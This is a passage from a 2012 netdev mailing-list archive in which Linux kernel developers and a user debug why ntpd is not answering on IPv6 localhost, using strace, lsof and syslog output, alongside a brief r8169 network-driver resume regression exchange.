12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
12928 --- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=7438624} ---
12928 rt_sigreturn()                    = -1 EINTR (Interrupted system call)
12928 select(22, [16 17 18 19 20 21], NULL, NULL, NULL

^ permalink raw reply

* Re: regression when connecting to ipv6 localhost
From: Eric Dumazet @ 2012-10-14 22:01 UTC (permalink / raw)
  To: Jan Hinnerk Stosch; +Cc: netdev
In-Reply-To: <CAO_aot4RiTbUd=7L5e4btLEeJvgy0B3iswaXo8m3AP2qp9Z0TQ@mail.gmail.com>

On Sun, 2012-10-14 at 23:54 +0200, Jan Hinnerk Stosch wrote:
> 2012/10/14 Eric Dumazet <eric.dumazet@gmail.com>:
> > So ntpd claims to "Listen normally on 4 lo ::1 UDP 123" but lsof doesnt
> > display a socket bound to ::1 port 123
> >
> > So I would say there is a ntpd bug.
> >
> > You could try to strace ntpd from the very beginning of its life, so
> > that we check what it does exactly.
> >
> > service ntp stop
> > strace -o /tmp/STRACE /usr/bin/ntpd -g -u ntp:ntp
> >
> >
> >
> 
> Ok, here is the strace output. I wonder whether this is enough as it
> exits very early - ntp still running though.

Please add -f to follow children

strace -o /tmp/STRACE -f /usr/bin/ntpd -g -u ntp:ntp

^ permalink raw reply

* Re: regression when connecting to ipv6 localhost
From: Jan Hinnerk Stosch @ 2012-10-14 21:54 UTC (permalink / raw)
  To: Eric Dumazet; +Cc: netdev
In-Reply-To: <1350250542.21172.17229.camel@edumazet-glaptop>

[-- Attachment #1: Type: text/plain, Size: 510 bytes --]

2012/10/14 Eric Dumazet <eric.dumazet@gmail.com>:
> So ntpd claims to "Listen normally on 4 lo ::1 UDP 123" but lsof doesnt
> display a socket bound to ::1 port 123
>
> So I would say there is a ntpd bug.
>
> You could try to strace ntpd from the very beginning of its life, so
> that we check what it does exactly.
>
> service ntp stop
> strace -o /tmp/STRACE /usr/bin/ntpd -g -u ntp:ntp
>
>
>

Ok, here is the strace output. I wonder whether this is enough as it
exits very early - ntp still running though.

[-- Attachment #2: ntpstrace --]
[-- Type: application/octet-stream, Size: 8079 bytes --]

execve("/usr/bin/ntpd", ["/usr/bin/ntpd", "-g", "-u", "ntp:ntp"], [/* 16 vars */]) = 0
brk(0)                                  = 0xbb0000
access("/etc/ld.so.preload", R_OK)      = -1 ENOENT (No such file or directory)
open("/etc/ld.so.cache", O_RDONLY|O_CLOEXEC) = 3
fstat(3, {st_mode=S_IFREG|0644, st_size=160446, ...}) = 0
mmap(NULL, 160446, PROT_READ, MAP_PRIVATE, 3, 0) = 0x7fcfba479000
close(3)                                = 0
open("/usr/lib/libm.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0V\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=1022344, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcfba478000
mmap(NULL, 3117352, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcfb9f86000
mprotect(0x7fcfba07f000, 2093056, PROT_NONE) = 0
mmap(0x7fcfba27e000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0xf8000) = 0x7fcfba27e000
close(3)                                = 0
open("/usr/lib/libcrypto.so.1.0.0", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0J\6\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0555, st_size=2392233, ...}) = 0
mmap(NULL, 4230344, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcfb9b7d000
mprotect(0x7fcfb9d5d000, 2093056, PROT_NONE) = 0
mmap(0x7fcfb9f5c000, 155648, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x1df000) = 0x7fcfb9f5c000
mmap(0x7fcfb9f82000, 15560, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fcfb9f82000
close(3)                                = 0
open("/usr/lib/librt.so.1", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320\"\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=31760, ...}) = 0
mmap(NULL, 2128880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcfb9975000
mprotect(0x7fcfb997c000, 2093056, PROT_NONE) = 0
mmap(0x7fcfb9b7b000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x6000) = 0x7fcfb9b7b000
close(3)                                = 0
open("/usr/lib/libcap.so.2", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\0\25\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=16776, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcfba477000
mmap(NULL, 2111968, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcfb9771000
mprotect(0x7fcfb9775000, 2093056, PROT_NONE) = 0
mmap(0x7fcfb9974000, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x3000) = 0x7fcfb9974000
close(3)                                = 0
open("/usr/lib/libc.so.6", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\3\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0000\30\2\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=2009849, ...}) = 0
mmap(NULL, 3828816, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcfb93ca000
mprotect(0x7fcfb9568000, 2093056, PROT_NONE) = 0
mmap(0x7fcfb9767000, 24576, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x19d000) = 0x7fcfb9767000
mmap(0x7fcfb976d000, 15440, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fcfb976d000
close(3)                                = 0
open("/usr/lib/libdl.so.2", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\320\16\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=14648, ...}) = 0
mmap(NULL, 2109720, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcfb91c6000
mprotect(0x7fcfb91c9000, 2093056, PROT_NONE) = 0
mmap(0x7fcfb93c8000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x2000) = 0x7fcfb93c8000
close(3)                                = 0
open("/usr/lib/libz.so.1", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0\340\"\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=88656, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcfba476000
mmap(NULL, 2183688, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcfb8fb0000
mprotect(0x7fcfb8fc5000, 2093056, PROT_NONE) = 0
mmap(0x7fcfb91c4000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x14000) = 0x7fcfb91c4000
close(3)                                = 0
open("/usr/lib/libpthread.so.0", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0@l\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=137998, ...}) = 0
mmap(NULL, 2208640, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcfb8d94000
mprotect(0x7fcfb8dab000, 2093056, PROT_NONE) = 0
mmap(0x7fcfb8faa000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x16000) = 0x7fcfb8faa000
mmap(0x7fcfb8fac000, 13184, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) = 0x7fcfb8fac000
close(3)                                = 0
open("/usr/lib/libattr.so.1", O_RDONLY|O_CLOEXEC) = 3
read(3, "\177ELF\2\1\1\0\0\0\0\0\0\0\0\0\3\0>\0\1\0\0\0 \24\0\0\0\0\0\0"..., 832) = 832
fstat(3, {st_mode=S_IFREG|0755, st_size=18760, ...}) = 0
mmap(NULL, 2113880, PROT_READ|PROT_EXEC, MAP_PRIVATE|MAP_DENYWRITE, 3, 0) = 0x7fcfb8b8f000
mprotect(0x7fcfb8b93000, 2093056, PROT_NONE) = 0
mmap(0x7fcfb8d92000, 8192, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_FIXED|MAP_DENYWRITE, 3, 0x3000) = 0x7fcfb8d92000
close(3)                                = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcfba475000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcfba474000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcfba473000
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcfba472000
arch_prctl(ARCH_SET_FS, 0x7fcfba473700) = 0
mprotect(0x7fcfb9767000, 16384, PROT_READ) = 0
mprotect(0x7fcfb8d92000, 4096, PROT_READ) = 0
mprotect(0x7fcfb8faa000, 4096, PROT_READ) = 0
mprotect(0x7fcfb91c4000, 4096, PROT_READ) = 0
mprotect(0x7fcfb93c8000, 4096, PROT_READ) = 0
mprotect(0x7fcfb9b7b000, 4096, PROT_READ) = 0
mprotect(0x7fcfb9f5c000, 110592, PROT_READ) = 0
mprotect(0x7fcfba27e000, 4096, PROT_READ) = 0
mprotect(0x686000, 4096, PROT_READ)     = 0
mprotect(0x7fcfba4a1000, 4096, PROT_READ) = 0
munmap(0x7fcfba479000, 160446)          = 0
set_tid_address(0x7fcfba4739d0)         = 12570
set_robust_list(0x7fcfba4739e0, 24)     = 0
rt_sigaction(SIGRTMIN, {0x7fcfb8d9a7a0, [], SA_RESTORER|SA_SIGINFO, 0x7fcfb8da3170}, NULL, 8) = 0
rt_sigaction(SIGRT_1, {0x7fcfb8d9a820, [], SA_RESTORER|SA_RESTART|SA_SIGINFO, 0x7fcfb8da3170}, NULL, 8) = 0
rt_sigprocmask(SIG_UNBLOCK, [RTMIN RT_1], NULL, 8) = 0
getrlimit(RLIMIT_STACK, {rlim_cur=8192*1024, rlim_max=RLIM64_INFINITY}) = 0
brk(0)                                  = 0xbb0000
brk(0xbd1000)                           = 0xbd1000
socket(PF_FILE, SOCK_DGRAM|SOCK_CLOEXEC, 0) = 3
connect(3, {sa_family=AF_FILE, sun_path="/dev/log"}, 110) = 0
open("/etc/localtime", O_RDONLY|O_CLOEXEC) = 4
fstat(4, {st_mode=S_IFREG|0644, st_size=2309, ...}) = 0
fstat(4, {st_mode=S_IFREG|0644, st_size=2309, ...}) = 0
mmap(NULL, 4096, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0) = 0x7fcfba4a0000
read(4, "TZif2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\10\0\0\0\10\0\0\0\0"..., 4096) = 2309
lseek(4, -1467, SEEK_CUR)               = 842
read(4, "TZif2\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\t\0\0\0\t\0\0\0\0"..., 4096) = 1467
lseek(4, 2308, SEEK_SET)                = 2308
close(4)                                = 0
munmap(0x7fcfba4a0000, 4096)            = 0
sendto(3, "<29>Oct 14 23:42:42 ntpd[12570]:"..., 87, MSG_NOSIGNAL, NULL, 0) = 87
umask(0)                                = 022
umask(022)                              = 0
getuid()                                = 0
clone(child_stack=0, flags=CLONE_CHILD_CLEARTID|CLONE_CHILD_SETTID|SIGCHLD, child_tidptr=0x7fcfba4739d0) = 12571
exit_group(0)                           = ?
+++ exited with 0 +++

^ permalink raw reply

* Re: r8169 delay / segfault
From: Francois Romieu @ 2012-10-14 21:32 UTC (permalink / raw)
  To: Roland Stigge; +Cc: nic_swsd, netdev, hayeswang
In-Reply-To: <50793B6F.50507@antcom.de>

Roland Stigge <stigge@antcom.de> :
[...]
> What does the different device ID, XID and IRQ number mean ?

XID identifies the chipset. If the chipset stops responding - all 1 bits -
the device can not be identified.

> How can we force the device out of D3 power state?
> 
> I also compared with kernel 3.5, and it seems like a regression to me,
> With 3.5, it works and tells on resume:

Can you try both a 3.5 kernel with the 3.6 r8169 driver and a 3.6 kernel
with the 3.5 r8169 driver ?

-- 
Ueimor

^ permalink raw reply

* Re: regression when connecting to ipv6 localhost
From: Eric Dumazet @ 2012-10-14 21:35 UTC (permalink / raw)
  To: Jan Hinnerk Stosch; +Cc: netdev
In-Reply-To: <CAO_aot6w9yaWacK9kE66m+Lv0LWXY9hKzLH8b=1dp=23fo_W2A@mail.gmail.com>

On Sun, 2012-10-14 at 23:21 +0200, Jan Hinnerk Stosch wrote:
> 2012/10/14 Eric Dumazet <eric.dumazet@gmail.com>:
> > On Sun, 2012-10-14 at 22:39 +0200, Jan Hinnerk Stosch wrote:
> >
> >> ntpd    368  ntp   16u     IPv4              10453      0t0    UDP *:ntp
> >> ntpd    368  ntp   17u     IPv6              10454      0t0    UDP *:ntp
> >> ntpd    368  ntp   18u     IPv4              10460      0t0    UDP
> >> localhost.localdomain:ntp
> >> ntpd    368  ntp   19u     IPv4              10461      0t0    UDP
> >> hinniepc.fritz.box:ntp
> >> ntpd    368  ntp   20u     IPv6               8775      0t0    UDP
> >> [fe80::922b:34ff:fe33:c292]:ntp
> >> ntpd    368  ntp   21u  netlink                         0t0  10463 ROUTE
> >
> > Hmm, your ntpd doesnt listen normally to ::1 UDP 123
> >
> > grep ntpd /var/log/syslog :
> >
> > (Here I have : )
> >
> > ntpd[4912]: ntpd 4.2.6p3@1.2290-o Mon Aug 20 15:15:21 UTC 2012 (1)
> > ntpd[4913]: proto: precision = 0.980 usec
> > ntpd[4913]: ntp_io: estimated max descriptors: 1024, initial socket
> > boundary: 16
> > ntpd[4913]: Listen and drop on 0 v4wildcard 0.0.0.0 UDP 123
> > ntpd[4913]: Listen and drop on 1 v6wildcard :: UDP 123
> > ntpd[4913]: Listen normally on 2 lo 127.0.0.1 UDP 123
> > ntpd[4913]: Listen normally on 3 eth1 172.30.42.8 UDP 123
> > ntpd[4913]: Listen normally on 4 lo ::1 UDP 123
> > ntpd[4913]: Listen normally on 5 eth1 fe80::222:15ff:fe87:3ff6 UDP 123
> > ntpd[4913]: peers refreshed
> > ntpd[4913]: Listening on routing socket on fd #22 for interface updates
> >
> >
> 
> Ah, ok. Didn't read correctly..
> 
> journalctl /usr/bin/ntpd gives:
> Oct 14 16:51:22 hinniepc ntpd[368]: proto: precision = 0.117 usec
> Oct 14 16:51:22 hinniepc ntpd[368]: ntp_io: estimated max descriptors:
> 1024, initial socket boundary: 16
> Oct 14 16:51:22 hinniepc ntpd[368]: Listen and drop on 0 v4wildcard
> 0.0.0.0 UDP 123
> Oct 14 16:51:22 hinniepc ntpd[368]: Listen and drop on 1 v6wildcard :: UDP 123
> Oct 14 16:51:22 hinniepc ntpd[368]: Listen normally on 2 lo 127.0.0.1 UDP 123
> Oct 14 16:51:22 hinniepc ntpd[368]: Listen normally on 3 eth0
> 192.168.178.27 UDP 123
> Oct 14 16:51:22 hinniepc ntpd[368]: Listen normally on 4 lo ::1 UDP 123
> Oct 14 16:51:22 hinniepc ntpd[368]: peers refreshed
> Oct 14 16:51:22 hinniepc ntpd[368]: Listening on routing socket on fd
> #21 for interface updates

So ntpd claims to "Listen normally on 4 lo ::1 UDP 123" but lsof doesnt
display a socket bound to ::1 port 123

So I would say there is a ntpd bug.

You could try to strace ntpd from the very beginning of its life, so
that we check what it does exactly.

service ntp stop
strace -o /tmp/STRACE /usr/bin/ntpd -g -u ntp:ntp

^ permalink raw reply

* Re: regression when connecting to ipv6 localhost
From: Jan Hinnerk Stosch @ 2012-10-14 21:21 UTC (permalink / raw)
  To: Eric Dumazet, netdev
In-Reply-To: <1350248858.21172.17197.camel@edumazet-glaptop>

[-- Attachment #1: Type: text/plain, Size: 2269 bytes --]

2012/10/14 Eric Dumazet <eric.dumazet@gmail.com>:
> On Sun, 2012-10-14 at 22:39 +0200, Jan Hinnerk Stosch wrote:
>
>> ntpd    368  ntp   16u     IPv4              10453      0t0    UDP *:ntp
>> ntpd    368  ntp   17u     IPv6              10454      0t0    UDP *:ntp
>> ntpd    368  ntp   18u     IPv4              10460      0t0    UDP
>> localhost.localdomain:ntp
>> ntpd    368  ntp   19u     IPv4              10461      0t0    UDP
>> hinniepc.fritz.box:ntp
>> ntpd    368  ntp   20u     IPv6               8775      0t0    UDP
>> [fe80::922b:34ff:fe33:c292]:ntp
>> ntpd    368  ntp   21u  netlink                         0t0  10463 ROUTE
>
> Hmm, your ntpd doesnt listen normally to ::1 UDP 123
>
> grep ntpd /var/log/syslog :
>
> (Here I have : )
>
> ntpd[4912]: ntpd 4.2.6p3@1.2290-o Mon Aug 20 15:15:21 UTC 2012 (1)
> ntpd[4913]: proto: precision = 0.980 usec
> ntpd[4913]: ntp_io: estimated max descriptors: 1024, initial socket
> boundary: 16
> ntpd[4913]: Listen and drop on 0 v4wildcard 0.0.0.0 UDP 123
> ntpd[4913]: Listen and drop on 1 v6wildcard :: UDP 123
> ntpd[4913]: Listen normally on 2 lo 127.0.0.1 UDP 123
> ntpd[4913]: Listen normally on 3 eth1 172.30.42.8 UDP 123
> ntpd[4913]: Listen normally on 4 lo ::1 UDP 123
> ntpd[4913]: Listen normally on 5 eth1 fe80::222:15ff:fe87:3ff6 UDP 123
> ntpd[4913]: peers refreshed
> ntpd[4913]: Listening on routing socket on fd #22 for interface updates
>
>

Ah, ok. Didn't read correctly..

journalctl /usr/bin/ntpd gives:
Oct 14 16:51:22 hinniepc ntpd[368]: proto: precision = 0.117 usec
Oct 14 16:51:22 hinniepc ntpd[368]: ntp_io: estimated max descriptors:
1024, initial socket boundary: 16
Oct 14 16:51:22 hinniepc ntpd[368]: Listen and drop on 0 v4wildcard
0.0.0.0 UDP 123
Oct 14 16:51:22 hinniepc ntpd[368]: Listen and drop on 1 v6wildcard :: UDP 123
Oct 14 16:51:22 hinniepc ntpd[368]: Listen normally on 2 lo 127.0.0.1 UDP 123
Oct 14 16:51:22 hinniepc ntpd[368]: Listen normally on 3 eth0
192.168.178.27 UDP 123
Oct 14 16:51:22 hinniepc ntpd[368]: Listen normally on 4 lo ::1 UDP 123
Oct 14 16:51:22 hinniepc ntpd[368]: peers refreshed
Oct 14 16:51:22 hinniepc ntpd[368]: Listening on routing socket on fd
#21 for interface updates

and the output of strace -p `pidof ntpd` is in file "stracentpd".

[-- Attachment #2: stracentpd --]
[-- Type: application/octet-stream, Size: 5184 bytes --]

Process 368 attached
select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
--- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=28729632} ---
rt_sigreturn()                          = -1 EINTR (Interrupted system call)
select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
--- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=28729632} ---
rt_sigreturn()                          = -1 EINTR (Interrupted system call)
select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
--- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=28729632} ---
rt_sigreturn()                          = -1 EINTR (Interrupted system call)
select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
--- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=28729632} ---
rt_sigreturn()                          = -1 EINTR (Interrupted system call)
select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = 1 (in [17])
select(22, [16 17 18 19 20 21], NULL, NULL, {0, 0}) = 1 (in [17], left {0, 0})
recvfrom(17, "\26\1\0\1\0\0\0\0\0\0\0\0", 1000, 0, {sa_family=AF_INET6, sin6_port=htons(34694), inet_pton(AF_INET6, "::1", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 12
recvfrom(17, 0x7fff3c8073e0, 1000, 0, 0x7fff3c8073c0, 0x7fff3c80736c) = -1 EAGAIN (Resource temporarily unavailable)
select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
--- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=28729632} ---
rt_sigreturn()                          = -1 EINTR (Interrupted system call)
select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
--- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=28729632} ---
rt_sigreturn()                          = -1 EINTR (Interrupted system call)
select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
--- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=28729632} ---
rt_sigreturn()                          = -1 EINTR (Interrupted system call)
select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
--- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=28729632} ---
rt_sigreturn()                          = -1 EINTR (Interrupted system call)
select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
--- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=28729632} ---
rt_sigreturn()                          = -1 EINTR (Interrupted system call)
select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = 1 (in [17])
select(22, [16 17 18 19 20 21], NULL, NULL, {0, 0}) = 1 (in [17], left {0, 0})
recvfrom(17, "\26\1\0\1\0\0\0\0\0\0\0\0", 1000, 0, {sa_family=AF_INET6, sin6_port=htons(34694), inet_pton(AF_INET6, "::1", &sin6_addr), sin6_flowinfo=0, sin6_scope_id=0}, [28]) = 12
recvfrom(17, 0x7fff3c8073e0, 1000, 0, 0x7fff3c8073c0, 0x7fff3c80736c) = -1 EAGAIN (Resource temporarily unavailable)
select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
--- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=28729632} ---
rt_sigreturn()                          = -1 EINTR (Interrupted system call)
select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
--- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=28729632} ---
rt_sigreturn()                          = -1 EINTR (Interrupted system call)
select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
--- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=28729632} ---
rt_sigreturn()                          = -1 EINTR (Interrupted system call)
select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
--- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=28729632} ---
rt_sigreturn()                          = -1 EINTR (Interrupted system call)
select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
--- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=28729632} ---
rt_sigreturn()                          = -1 EINTR (Interrupted system call)
select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
--- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=28729632} ---
rt_sigreturn()                          = -1 EINTR (Interrupted system call)
select(22, [16 17 18 19 20 21], NULL, NULL, NULL) = ? ERESTARTNOHAND (Interrupted by signal)
--- SIGALRM {si_signo=SIGALRM, si_code=SI_TIMER, si_pid=0, si_uid=0, si_value=28729632} ---
rt_sigreturn()                          = -1 EINTR (Interrupted system call)
select(22, [16 17 18 19 20 21], NULL, NULL, NULL^CProcess 368 detached
 <detached ...>

^ permalink raw reply

* Re: regression when connecting to ipv6 localhost
From: Eric Dumazet @ 2012-10-14 21:07 UTC (permalink / raw)
  To: Jan Hinnerk Stosch; +Cc: netdev
In-Reply-To: <CAO_aot5xZevtZcCS37h9HR4Zkj_Q4ny_sj+NX7oYEvazAQjxLQ@mail.gmail.com>

On Sun, 2012-10-14 at 22:39 +0200, Jan Hinnerk Stosch wrote:

> ntpd    368  ntp   16u     IPv4              10453      0t0    UDP *:ntp
> ntpd    368  ntp   17u     IPv6              10454      0t0    UDP *:ntp
